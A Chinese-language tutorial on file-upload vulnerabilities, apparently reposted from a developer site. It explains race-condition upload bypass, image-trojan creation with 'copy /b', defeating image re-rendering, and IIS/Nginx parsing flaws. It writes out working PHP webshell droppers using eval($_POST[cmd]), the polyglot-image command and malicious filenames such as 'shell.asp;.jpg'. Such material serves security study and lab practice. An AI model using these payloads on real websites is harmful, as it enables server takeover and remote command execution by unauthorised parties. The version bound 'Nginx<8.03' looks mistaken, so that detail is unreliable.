概述
前言: 非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器,这个恶意的脚本文件,又被称为webshell,也就是网页的后门,webshell具有很强大的功能,比如查看服务器目录,服务器文件,执行系统命令等等。
文章目录
- 一.条件竞争绕过
- 二.图片木马制作
- 三.图片的二次渲染绕过
- 四.解析漏洞
一.条件竞争绕过
竞争条件:服务端首先是允许用户上传任意类型的文件,上传过后再去检查文件,如果文件存在恶意的内容,那么就会执行删除操作,可以利用这个时间差来完成攻击
准备一个PHP文件,代码如下:
<?php fputs(fopen('shell.php','w'),'<?php eval($_post[cmd]);>');?>
析:生成新文件shell.php,内容为<?php eval($_post[cmd]);>
1.上传上文的PHP文件,用Burp抓包后,发送到Intruder模块,设置相关参数之后,点击attack
2.再用浏览器去访问靶机上传目录下的上传文件,用Burp抓包,发送到Intruder模块,设置了相关参数后,点击attack
3.最后发现上传目录生成了shell.php
简述:不断的一直发送PHP文件,再利用系统删除文件可能会有一点点延迟的特点,不停的访问上传的文件,就有可能在目录中生成新的木马文件,即使删除了上传文件,但是新的木马文件已经生成
二.图片木马制作
@在对应的图片目录下打开cmd,利用copy功能,将两张图片的编码合起来(图片可在"010Editor"这个软件打开,可查看木马源码,也可加上木马),虽然显示的图片还是1.png的样子,但是里面包含了php的文件内容,可写入一句话木马
copy /b 1.png+2.php 3.png
三.图片的二次渲染绕过
有些系统在图片上传的时候,会对图片进行二次渲染,即重新生成图片,对可能包含在图片里的木马等等去掉
1.JPG图片
(1).先将JPG图片上传后,在下载来保存在本地
(2).把JPG照片和jpg_payload.php文件(一个脚本,把木马重新植入到图片中)放入带有PHP环境的文件夹
(3).通过cmd执行命令php jpg_payload.php xx.jpg
(4).就会生成一个新的照片,上传后,用文件包含读取图片中的代码
2.GIF图片
(1).将GIF文件上传后,下载到本地
(2).用010Editor将上传前和上传后的GIF图片进行对比,查找他们没有进行二次渲染的部分
(3).在没有二次渲染的部分加入代码,将加入代码的GIF图片再次上传,用文件包含执行gif图片中的代码
四.解析漏洞
1.IIS5.X/6.0 解析漏洞
(1)目录解析:/xx.asp/xx.jpg
(2)在网站下建立文件夹的名字为.asp.asa
的文件夹,其目录的任何扩展名的文件都会被IIS当作asp文件来执行,如:创建目录sp1.asp,那么http://www.xxx.com/sp.asp/1.jpg
将被当作asp文件来解析
(3)文件解析:shell.asp;.jpg
(4)在IIS6.0分号后面的不被解析, 也就是说shell.asp;.jpg
会被服务器看成shell.asp
(5)还有IIS6.0默认的可执行文件除了asp还包含了三种/shell.ase
,/shell.cer
,/shell.cdx
2.IIS7.0/IIS7.5/Ngnix<8.03畸形解析漏洞
(1)版本要求:IIS7.0/IIS7.5/Nginx<8.03
(2)利用方法:在默认Fast-CGI开启下,攻击者上传一个名字为shell.jpg,内容为:<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>')?>
的文件,然后访问shell.jpg/.php,就会生成一句话木马shell.php。其实跟ngnix无关,这个漏洞是出现自php-cgi的漏洞
最后
以上就是善良诺言为你收集整理的文件上传漏洞(二)之常见漏洞的全部内容,希望文章能够帮你解决文件上传漏洞(二)之常见漏洞所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复